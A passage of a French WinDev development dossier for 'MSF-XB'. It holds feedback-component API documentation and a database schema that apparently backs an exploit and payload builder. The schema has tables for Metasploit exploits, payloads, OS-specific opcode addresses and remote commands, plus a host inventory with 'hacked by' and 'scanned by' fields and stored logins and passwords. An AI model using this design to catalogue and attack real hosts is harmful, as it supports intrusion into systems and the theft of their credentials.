gure)- soit lors de la création de l'exécutable en renseigner le champ "Adresse email"

Syntaxe :

<Résultat> = NouvelleDemande()Paramètres :

<Résultat> : Booléen Vrai si la demande a été prise en compte, Faux dans le cas contraire.

Exemple :

// Ouvre l'assistant des suggestions & dysfonctionnements Configure(fbEmail, "[email protected]") NouvelleDemande()

Procédure ErreurMessage

La procédure ErreurMessage permet de récupérer le message concernant la dernière erreur rencontrée.

Syntaxe :

<Résultat> = ErreurMessage()Paramètres :

<Résultat> : Chaîne de caractères Message d'erreur ou chaîne vide ("") si aucune erreur n'a été rencontrée.

Exemple :

// Configure le chemin d'accès aux données Configure(fbCheminDonnéesCC, "serveurdo

Page 47: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB ProjetPartie 2

26/10/2008 47

onnees") // Vérifie si une erreur a eu lieu SI pFeedback.EnErreur ALORS

// Affiche le message d'erreur Erreur(ErreurMessage())

FIN

Procédure DemandeAjoute

La procédure DemandeAjoute permet d'ajouter directement une demande dans un spool du Centre de Suivi de Projets.La sélection d'un spool peut être réalisée grâce à la fenêtre interne FI_SelectionSpool.

Cette fonction n'est disponible que si les Centres de Contrôles sont disponibles.

Syntaxe :

<Résultat> = DemandeAjoute(<Nom ou Initiales>, <Spool>, <Détails>, <Copie d'écran>)Paramètres :

<Résultat> : Chaîne de caractère "ERR" en cas d'erreur ou "OK" si la demande a bien été ajoutée.

<Nom ou Initiales> : Chaîne de caractère Nom ou initiales du demandeur.

<Spool> : Entier Identifiant du spool dans lequel la demande doit être ajoutée. La sélection d'un spool peut être réalisée grâce à la fenêtre interne FI_SelectionSpool.

<Détails> : Chaîne de caractère Texte de la demande.

<Copie d'écran> : Chaîne de caractère Chemin de la copie d'écran à attacher à la demande ou chaîne vide ("") si aucune copie d'écran ne doit être attaché à la demande.

Exemple :

// Enregistre la demande, de la part de JEAN, contenue dans le champ SAI_Details, // dans le spool sélectionné dans le champ fenêtre interne CFI_SelectionSpool. DemandeAjoute("JEAN", CFI_SelectionSpool..Valeur,

Page 48: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB ProjetPartie 2

26/10/2008 48

, SAI_Details, "")

Procédure EnModeTestEmail

La procédure EnModeTestEmail permet de récupérer ou de modifier l'état du mode "Test email".Si le mode "Test email" est activé, seul l'envoi des suggestions et dysfonctionnement par email est actif.Si le mode "Test email" est désactivé (par défaut), le composant Feedback détermine seul la manière dont les suggestions et dysfonctionnements seront envoyés.

Syntaxe :

[<Résultat> =] EnModeTestEmail([<Activation>])Paramètres :

<Résultat> : Booléen optionnel Si le paramètre <Activation> n'est pas précisé, <Résultat> est à Vrai si le mode "Test email" est actif ou Faux si le mode "Test email" est inactif (par défaut). Si le paramètre <Activation> est précisé, aucune valeur de retour n'est renvoyée.

<Activation> : Booléen optionnel Vrai pour activer le mode "Test email", Faux pour le désactiver.

Exemple :

// Active le mode "Test email" EnModeTestEmail(Vrai)

Fenêtres internes

Fenêtre interne FI_SelectionSpool

La fenêtre interne FI_SelectionSpool permet de sélectionner un spool du Centre de Suivi de Projet.

Procédures locales : La procédure InitFenêtreInterne permet d'initialiser la fenêtre interne. L'appel à cette procédure est obligatoire. Syntaxe :

Page 49: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB ProjetPartie 2

26/10/2008 49

Paramètres :

<Champ fenêtre interne> : Chaîne de caractère

Nom du champ fenê

Nom

FI_SelectionSpool

pCCProcedures

pFeedback

Page 50: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB AnalysePartie 3

26/10/2008 50

Partie 3Analyse

Page 51: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB AnalysePartie 3

26/10/2008 51

Analyse Graphe

Page 52: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB AnalysePartie 3

26/10/2008 52

Page 53: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB AnalysePartie 3

26/10/2008 53

Analyse Informations générales

MSF-XB.wda

Répertoire G:\Mes Projets\MSF-XB11\MSF-XB.wd9\

Répertoire des fichiers de données Répertoire de l'application

N°génération Nb. fichiers Nb. rubriques Nb. liaisons Nb. connexions Nb. groupes

39 19 93 7 0 7

Analyse Dictionnaire des rubriques

Rubrique Type Taille Clé Clé Utilisée par...

Abreviation Chaîne 5 LANG

ADDDATE Date (aaaammjj) STRO

ADDHOUR Heure (hhmm) 4 STRO

Adresse Chaîne 8 OPcode

AttendParametre Booléen ASM_CODES

CHEMINLOCAL Chaîne 500 FICHIER

CHEMINSTRO Chaîne 500 FICHIER

CODE_ASM Chaîne 50 ASM_CODES

CODE_HEXA Chaîne 50 ASM_CODES

COMMAND Chaîne 50 COMMANDS

COMMANDE Chaîne 1000 COMMANDE

COMMENTAIRES Chaîne 500 STRO

Chaîne 500 COMMANDE

CONTENU Chaîne 50 STRO

Page 54: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB AnalysePartie 3

26/10/2008 54

Rubrique Type Taille Clé Clé Utilisée par...

DESCRIPTION Chaîne 100 IPINDEX

Chaîne 100 PAYLOAD

Chaîne 100 LANG

DLL Chaîne 30 EXPLOIT

DLLnom Chaîne 15 OPcode

DLLversion Chaîne 20 OPcode

DOWNLOAD_URL Chaîne 254 EXPLOIT

ETAT Chaîne 50 STRO

FASTIP Chaîne 50 STRO

FICLEUNIK Identifiant automatique (4 octets) FICHIER

FILLEDBY1 Chaîne 50 STRO

FIREWALL Chaîne 50 STRO

FULLY_PATCHED Booléen OPcode

HACKBY1 Chaîne 50 STRO

IDASM_CODES Identifiant automatique (4 octets) ASM_CODES

IDCOMMANDE Identifiant automatique (4 octets) COMMANDE

IDCOMMANDS Identifiant automatique (4 octets) COMMANDS

IDEDITEUR Identifiant automatique (4 octets) EDITEUR

IDEXPLOIT Entier sur 4 octets PARAMETRE_EXPLOIT

Entier sur 4 octets EXPLOIT_PAYLOAD

Entier sur 4 octets HEADER

Identifiant automatique (4 octets) EXPLOIT

IDEXPLOIT_PAYLOAD Clé composée 8 EXPLOIT_PAYLOAD

IDHEADER Identifiant automatique (4 octets) HEADER

IDIPINDEX Identifiant automatique (4 octets) IPINDEX

IDLANG Identifiant automatique (4 octets) LANG

IDOPcode Identifiant automatique (4 octets) OPcode

IDPARAMETRE Entier sur 4 octets PARAMETRE_EXPLOIT

Entier sur 4 octets PARAMETRE_PAYLOAD

Identifiant automatique (4 octets) PARAMETRE

IDPARAMETRE_EXPLOIT Clé composée 8 PARAMETRE_EXPLOIT

IDPARAMETRE_PAYLOAD Clé composée 8 PARAMETRE_PAYLOAD

IDPAYLOAD Entier sur 4 octets PARAMETRE_PAYLOAD

Entier sur 4 octets EXPLOIT_PAYLOAD

Page 55: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB AnalysePartie 3

26/10/2008 55

Rubrique Type Taille Clé Clé Utilisée par...

Identifiant automatique (4 octets) PAYLOAD

IDSTRO Entier sur 4 octets FICHIER

Identifiant automatique (4 octets) STRO

IDTYPESTRO Identifiant automatique (4 octets) TYPESTRO

Entier sur 4 octets STRO

IDWHITEPAPER Identifiant automatique (4 octets) WHITEPAPER

IMAGE Chaîne 50 STRO

IMAGELINK Chaîne 200 STRO

IP Chaîne 31 IPINDEX

Chaîne 50 STRO

IP1 Entier sur 4 octets STRO

IP2 Entier sur 4 octets STRO

IP3 Entier sur 4 octets STRO

IP4 Entier sur 4 octets STRO

LANGUE Chaîne 2 IPINDEX

Chaîne 2 WHITEPAPER

LIBELLE Chaîne 50 HEADER

LIEU Chaîne 6 COMMANDE

LOCATION Chaîne 50 STRO

LOGIN Chaîne 100 USER

MOTS_CLES Chaîne 500 WHITEPAPER

NOM Chaîne 100 PARAMETRE

Chaîne 100 PAYLOAD

Chaîne 100 FICHIER

Chaîne 50 STRO

Chaîne 50 COMMANDE

Chaîne 50 EDITEUR

NOM_FICHIER Chaîne 50 EXPLOIT

NOM_FICHIER_MSF3 Chaîne 50 EXPLOIT

NOM_MSF3 Chaîne 100 PAYLOAD

OPCODE Chaîne 22 OPcode

Chaîne 30 EXPLOIT

ORDRE Entier sur 4 octets COMMANDE

OSlangue Chaîne 27 OPcode

Page 56: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB AnalysePartie 3

26/10/2008 56

Rubrique Type Taille Clé Clé Utilisée par...

OSnom Chaîne 4 OPcode

OSSP Chaîne 2 OPcode

OSversion Chaîne 18 OPcode

PARAM1 Chaîne 50 COMMANDE

PARAM10 Chaîne 50 COMMANDE

PARAM2 Chaîne 50 COMMANDE

PARAM3 Chaîne 50 COMMANDE

PARAM4 Chaîne 50 COMMANDE

PARAM5 Chaîne 50 COMMANDE

PARAM6 Chaîne 50 COMMANDE

PARAM7 Chaîne 50 COMMANDE

PARAM8 Chaîne 50 COMMANDE

PARAM9 Chaîne 50 COMMANDE

PASS Chaîne 200 USER

PATH Chaîne 200 STRO

PORT Entier sur 4 octets USER

Entier sur 4 octets STRO

PRCLEUNIK Entier sur 4 octets USER

PROTOCOLE Chaîne 50 COMMANDS

RECLEUNIK Entier sur 4 octets FICHIER

REPSYSTEM Chaîne 50 STRO

SCANBY1 Chaîne 50 STRO

STCLEUNIK Entier sur 4 octets USER

TITRE Chaîne 100 WHITEPAPER

TYCLEUNIK Entier sur 4 octets USER

TYPESTRO Chaîne 50 TYPESTRO

URL Chaîne 260 WHITEPAPER

Chaîne 260 EDITEUR

URL_MSFWEB <Inutilisée>

USCLEUNIK Identifiant automatique (4 octets) USER

UTILISEE Booléen COMMANDE

VALEUR_DEFAUT Chaîne 50 PARAMETRE_EXPLOIT

Chaîne 50 PARAMETRE_PAYLOAD

Chaîne 50 PARAMETRE

Page 57: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB AnalysePartie 3

26/10/2008 57

Rubrique Type Taille Clé Clé Utilisée par...

ValeurRegistre Chaîne 4 LANG

Analyse Liaisons

Contrainte_EXPLOIT_HEADER

Source Relié

Fichier EXPLOIT HEADERRubrique IDEXPLOIT (Clé composée) IDEXPLOIT (Clé composée)Cardinalités 0,n 0,1

Modification Modification uniquement si pas d'enregistrement reliéSuppression Modification uniquement si pas d'enregistrement relié

Contrainte_EXPLOIT_PARAMETRE

Source Relié

Fichier EXPLOIT PARAMETRE_EXPLOITRubrique IDEXPLOIT (Clé composée) IDEXPLOIT (Clé composée)Cardinalités 0,n 1,1

Modification Modification uniquement si pas d'enregistrement reliéSuppression Modification uniquement si pas d'enregistrement relié

Page 58: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB AnalysePartie 3

26/10/2008 58

Contrainte_EXPLOIT_PAYLOAD

Source Relié

Fichier EXPLOIT EXPLOIT_PAYLOADRubrique IDEXPLOIT (Clé composée) IDEXPLOIT (Clé composée)Cardinalités 0,n 1,1

Modification Modification uniquement si pas d'enregistrement reliéSuppression Modification uniquement si pas d'enregistrement relié

Contrainte_PARAMETRE_EXPLOIT

Source Relié

Fichier PARAMETRE PARAMETRE_EXPLOITRubrique IDPARAMETRE (Clé composée) IDPARAMETRE (Clé composée)Cardinalités 0,n 1,1

Modification Modification uniquement si pas d'enregistrement reliéSuppression Modification uniquement si pas d'enregistrement relié

Contrainte_PARAMETRE_PAYLOAD

Source Relié

Fichier PARAMETRE PARAMETRE_PAYLOADRubrique IDPARAMETRE (Clé composée) IDPARAMETRE (Clé composée)Cardinalités 0,n 1,1

Page 59: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB AnalysePartie 3

26/10/2008 59

Modification Modification uniquement si pas d'enregistrement reliéSuppression Modification uniquement si pas d'enregistrement relié

Contrainte_PAYLOAD_EXPLOIT

Source Relié

Fichier PAYLOAD EXPLOIT_PAYLOADRubrique IDPAYLOAD (Clé composée) IDPAYLOAD (Clé composée)Cardinalités 0,n 1,1

Modification Modification uniquement si pas d'enregistrement reliéSuppression Modification uniquement si pas d'enregistrement relié

Contrainte_PAYLOAD_PARAMETRE

Source Relié

Fichier PAYLOAD PARAMETRE_PAYLOADRubrique IDPAYLOAD (Clé composée) IDPAYLOAD (Clé composée)Cardinalités 0,n 1,1

Modification Modification uniquement si pas d'enregistrement reliéSuppression Modification uniquement si pas d'enregistrement relié

Analyse Fichiers et rubriques

Page 60: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB AnalysePartie 3

26/10/2008 60

Abrévi Id. N°gén Taille + de Espac Réplic Jnl. Jnl. Sécuri Crypt. Crypt. Crypt. Compr Type

ASM_CODES 2 116 Hyper File Classic

COMMANDE 8 2090 Hyper File Classic

COMMANDS 1 115 Hyper File Classic

EDITEUR 1 325 Hyper File Classic

EXPLOIT 7 432 Hyper File Classic

EXPLOIT_PAYLOAD 1 17 Hyper File Classic

FICHIER FI 4 1124 Hyper File Classic

HEADER 3 68 Hyper File Classic

IPINDEX 6 149 Hyper File Classic

LANG 1 125 Hyper File Classic

OPcode 9 139 Hyper File Classic

PARAMETRE 2 165 Hyper File Classic

PARAMETRE_EXPLOIT 2 68 Hyper File Classic

PARAMETRE_PAYLOAD 2 68 Hyper File Classic

PAYLOAD 3 316 Hyper File Classic

STRO 8 1569 Hyper File Classic

TYPESTRO 2 64 Hyper File Classic

USER US 8 331 Hyper File Classic

WHITEPAPER 1 879 Hyper File Classic

Page 61: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB AnalysePartie 3

26/10/2008 61

Espaces *: Complétion des chaînes par des espaces Jnl. Ecr *: Journalisation des écritures

Jnl. Lect/Ecr *: Journalisation des lectures et écitures Sécurité *: Mode sécurité renforcée

ASM_CODES Fichiers et rubriques

Informations générales

ASM_CODES ASM_CODES

Nom sur disque ASM_CODES.FIC

Rubriques du fichier ASM_CODES

Libellé Type Taille Clé Clé Sens Val. défaut

IDASM_CODES Identifiant de ASM_CODES Identifiant automatique (4 octets)

CODE_HEXA Code_hexa Chaîne 50

CODE_ASM Code_asm Chaîne 50

AttendParametre Attend un paramètre Booléen 0

Page 62: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fichiers et rubriquesPartie 3

26/10/2008 62

COMMANDE Fichiers et rubriques

Informations générales

COMMANDE COMMANDE

Nom sur disque COMMANDE.FIC

Rubriques du fichier COMMANDE

Libellé Type Taille Clé Clé Sens Val. défaut

IDCOMMANDE Identifiant de COMMANDE Identifiant automatique (4 octets)

NOM NOM Chaîne 50

COMMANDE COMMANDE Chaîne 1000 DIR

PARAM1 PARAM1 Chaîne 50

PARAM2 PARAM2 Chaîne 50

PARAM3 PARAM3 Chaîne 50

PARAM4 PARAM4 Chaîne 50

PARAM5 PARAM5 Chaîne 50

PARAM6 PARAM6 Chaîne 50

PARAM7 PARAM7 Chaîne 50

PARAM8 PARAM8 Chaîne 50

PARAM9 PARAM9 Chaîne 50

PARAM10 PARAM10 Chaîne 50

COMMENTAIRES COMMENTAIRES Chaîne 500

LIEU Lieu d'exécution Chaîne 6 REMOTE

ORDRE Ordre Entier sur 4 octets 0

UTILISEE Utilisée Booléen 1

Page 63: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fichiers et rubriquesPartie 3

26/10/2008 63

COMMANDS Fichiers et rubriques

Informations générales

COMMANDS COMMANDS

Nom sur disque COMMANDS.FIC

Rubriques du fichier COMMANDS

Libellé Type Taille Clé Clé Sens Val. défaut

IDCOMMANDS Identifiant de COMMANDS Identifiant automatique (4 octets)

PROTOCOLE Protocole Chaîne 50

COMMAND Commande Chaîne 50

Page 64: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fichiers et rubriquesPartie 3

26/10/2008 64

EDITEUR Fichiers et rubriques

Informations générales

EDITEUR EDITEUR

Nom sur disque EDITEUR.FIC

Rubriques du fichier EDITEUR

Libellé Type Taille Clé Clé Sens Val. défaut

IDEDITEUR Identifiant de EDITEUR Identifiant automatique (4 octets)

NOM Nom Chaîne 50

URL Url Chaîne 260

Page 65: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fichiers et rubriquesPartie 3

26/10/2008 65

EXPLOIT Fichiers et rubriques

Informations générales

EXPLOIT EXPLOIT

Nom sur disque EXPLOIT.FIC

Rubriques du fichier EXPLOIT

Libellé Type Taille Clé Clé Sens Val. défaut

IDEXPLOIT Identifiant de EXPLOIT Identifiant automatique (4 octets)

NOM_FICHIER Nom_fichier Chaîne 50

NOM_FICHIER_MSF3 Nom_fichier_msf3 Chaîne 50

OPCODE Opcode Chaîne 30

DLL Dll Chaîne 30

DOWNLOAD_URL URL pour télécharger le soft vulnérable Chaîne 254

Page 66: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fichiers et rubriquesPartie 3

26/10/2008 66

EXPLOIT_PAYLOAD Fichiers et rubriques

Informations générales

EXPLOIT_PAYLOAD Relation EXPLOIT/PAYLOAD

Nom sur disque EXPLOIT_PAYLOAD.FIC

Rubriques du fichier EXPLOIT_PAYLOAD

Libellé Type Taille Clé Clé Sens Val. défaut

IDPAYLOAD IDPAYLOAD Entier sur 4 octets

IDEXPLOIT IDEXPLOIT Entier sur 4 octets

IDEXPLOIT_PAYLOAD Identifiant de EXPLOIT_PAYLOAD Clé composée : IDEXPLOIT+IDPAYLOAD

8

Page 67: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fichiers et rubriquesPartie 3

26/10/2008 67

FICHIER Fichiers et rubriques

Informations générales

FICHIER FICHIER

Nom sur disque FICHIER.FIC

Rubriques du fichier FICHIER

Libellé Type Taille Clé Clé Sens Val. défaut

FICLEUNIK Identifiant de FICHIER Identifiant automatique (4 octets)

NOM Nom Chaîne 100

RECLEUNIK Identifiant de RELEASE Entier sur 4 octets

CHEMINLOCAL CHEMINLOCAL Chaîne 500

CHEMINSTRO CHEMINSTRO Chaîne 500

IDSTRO IDSTRO Entier sur 4 octets

Page 68: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fichiers et rubriquesPartie 3

26/10/2008 68

HEADER Fichiers et rubriques

Informations générales

HEADER HEADER

Nom sur disque HEADER.FIC

Rubriques du fichier HEADER

Libellé Type Taille Clé Clé Sens Val. défaut

IDHEADER Identifiant de HEADER Identifiant automatique (4 octets)

LIBELLE Libellé Chaîne 50

IDEXPLOIT IDEXPLOIT Entier sur 4 octets

Page 69: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fichiers et rubriquesPartie 3

26/10/2008 69

IPINDEX Fichiers et rubriques

Informations générales

IPINDEX IPINDEX

Nom sur disque IPINDEX.FIC

Rubriques du fichier IPINDEX

Libellé Type Taille Clé Clé Sens Val. défaut

IDIPINDEX Identifiant de IPINDEX Identifiant automatique (4 octets)

IP Ip Chaîne 31

LANGUE Langue Chaîne 2

DESCRIPTION Description Chaîne 100

Page 70: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fichiers et rubriquesPartie 3

26/10/2008 70

LANG Fichiers et rubriques

Informations générales

LANG LANG

Nom sur disque LANG.FIC

Rubriques du fichier LANG

Libellé Type Taille Clé Clé Sens Val. défaut

IDLANG Identifiant de LANG Identifiant automatique (4 octets)

ValeurRegistre Valeurregistre Chaîne 4

Abreviation Abreviation Chaîne 5

DESCRIPTION Description Chaîne 100

Page 71: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fichiers et rubriquesPartie 3

26/10/2008 71

OPcode Fichiers et rubriques

Informations générales

OPcode OPcode

Nom sur disque OPcode.FIC

Rubriques du fichier OPcode

Libellé Type Taille Clé Clé Sens Val. défaut

IDOPcode Identifiant de OPcode Identifiant automatique (4 octets)

DLLnom Dllnom Chaîne 15

DLLversion Dllversion Chaîne 20

OSnom Osnom Chaîne 4

OSversion Osversion Chaîne 18

OSlangue Oslangue Chaîne 27

OSSP Service Pack Chaîne 2

OPcode Opcode Chaîne 22

Adresse Adresse Chaîne 8

FULLY_PATCHED Fully_patched Booléen 0

Page 72: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fichiers et rubriquesPartie 3

26/10/2008 72

PARAMETRE Fichiers et rubriques

Informations générales

PARAMETRE PARAMETRE

Nom sur disque PARAMETRE.FIC

Rubriques du fichier PARAMETRE

Libellé Type Taille Clé Clé Sens Val. défaut

IDPARAMETRE Identifiant de PARAMETRE Identifiant automatique (4 octets)

NOM Nom Chaîne 100

VALEUR_DEFAUT Valeur par défaut Chaîne 50

Page 73: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fichiers et rubriquesPartie 3

26/10/2008 73

PARAMETRE_EXPLOIT Fichiers et rubriques

Informations générales

PARAMETRE_EXPLOIT Relation PARAMETRE/EXPLOIT

Nom sur disque PARAMETRE_EXPLOIT.FIC

Rubriques du fichier PARAMETRE_EXPLOIT

Libellé Type Taille Clé Clé Sens Val. défaut

IDEXPLOIT IDEXPLOIT Entier sur 4 octets

IDPARAMETRE IDPARAMETRE Entier sur 4 octets

IDPARAMETRE_EXPLOIT Identifiant de PARAMETRE_EXPLOIT Clé composée : IDPARAMETRE+IDEXPLOIT

8

VALEUR_DEFAUT Valeur par défaut Chaîne 50

Page 74: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fichiers et rubriquesPartie 3

26/10/2008 74

PARAMETRE_PAYLOAD Fichiers et rubriques

Informations générales

PARAMETRE_PAYLOAD Relation PARAMETRE/PAYLOAD

Nom sur disque PARAMETRE_PAYLOAD.FIC

Rubriques du fichier PARAMETRE_PAYLOAD

Libellé Type Taille Clé Clé Sens Val. défaut

IDPAYLOAD IDPAYLOAD Entier sur 4 octets

IDPARAMETRE IDPARAMETRE Entier sur 4 octets

IDPARAMETRE_PAYLOAD Identifiant de PARAMETRE_PAYLOAD Clé composée : IDPARAMETRE+IDPAYLOAD

8

VALEUR_DEFAUT Valeur par défaut Chaîne 50

Page 75: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fichiers et rubriquesPartie 3

26/10/2008 75

PAYLOAD Fichiers et rubriques

Informations générales

PAYLOAD PAYLOAD

Nom sur disque PAYLOAD.FIC

Rubriques du fichier PAYLOAD

Libellé Type Taille Clé Clé Sens Val. défaut

IDPAYLOAD Identifiant de PAYLOAD Identifiant automatique (4 octets)

NOM Nom Chaîne 100

NOM_MSF3 Nom_msf3 Chaîne 100

DESCRIPTION Description Chaîne 100

Page 76: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fichiers et rubriquesPartie 3

26/10/2008 76

STRO Fichiers et rubriques

Informations générales

STRO STRO

Nom sur disque STRO.FIC

Rubriques du fichier STRO

Libellé Type Taille Clé Clé Sens Val. défaut

IDSTRO Identifiant de STRO Identifiant automatique (4 octets)

IP IP Chaîne 50

NOM NOM Chaîne 50

LOCATION LOCATION Chaîne 50

ADDDATE ADDDATE Date (aaaammjj)

COMMENTAIRES COMMENTAIRES Chaîne 500

REPSYSTEM REPSYSTEM Chaîne 50

PORT PORT Entier sur 4 octets 0

IDTYPESTRO IDTYPESTRO Entier sur 4 octets

IP1 IP1 Entier sur 4 octets 0

IP2 IP2 Entier sur 4 octets 0

IP3 IP3 Entier sur 4 octets 0

IP4 IP4 Entier sur 4 octets 0

HACKBY1 HACKBY1 Chaîne 50

FASTIP FASTIP Chaîne 50

PATH PATH Chaîne 200

CONTENU CONTENU Chaîne 50

FIREWALL FIREWALL Chaîne 50

ETAT ETAT Chaîne 50

FILLEDBY1 FILLEDBY1 Chaîne 50

Page 77: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fichiers et rubriquesPartie 3

26/10/2008 77

Libellé Type Taille Clé Clé Sens Val. défaut

ADDHOUR ADDHOUR Heure (hhmm) 4 0,00

SCANBY1 SCANBY1 Chaîne 50

IMAGE IMAGE Chaîne 50

IMAGELINK IMAGELINK Chaîne 200

Page 78: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fichiers et rubriquesPartie 3

26/10/2008 78

TYPESTRO Fichiers et rubriques

Informations générales

TYPESTRO TYPESTRO

Nom sur disque TYPESTRO.FIC

Rubriques du fichier TYPESTRO

Libellé Type Taille Clé Clé Sens Val. défaut

IDTYPESTRO Identifiant de TYPESTRO Identifiant automatique (4 octets)

TYPESTRO TYPESTRO Chaîne 50

Page 79: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fichiers et rubriquesPartie 3

26/10/2008 79

USER Fichiers et rubriques

Informations générales

USER USER

Nom sur disque USER.FIC

Rubriques du fichier USER

Libellé Type Taille Clé Clé Sens Val. défaut

USCLEUNIK Identifiant de USER Identifiant automatique (4 octets)

LOGIN Login Chaîne 100

PASS Password Chaîne 200

PORT Port Entier sur 4 octets

STCLEUNIK Identifiant de STRO Entier sur 4 octets

TYCLEUNIK Identifiant de TYPEUSER Entier sur 4 octets

PRCLEUNIK Identifiant de PROXY Entier sur 4 octets

Page 80: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB Fichiers et rubriquesPartie 3

26/10/2008 80

WHITEPAPER Fichiers et rubriques

Informations générales

WHITEPAPER WHITEPAPER

Nom sur disque WHITEPAPER.FIC

Rubriques du fichier WHITEPAPER

Libellé Type Taille Clé Clé Sens Val. défaut

IDWHITEPAPER Identifiant de WHITEPAPER Identifiant automatique (4 octets)

TITRE Titre Chaîne 100

URL Url Chaîne 260

MOTS_CLES Mots_cles Chaîne 500

LANGUE Langue Chaîne 2

Page 81: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

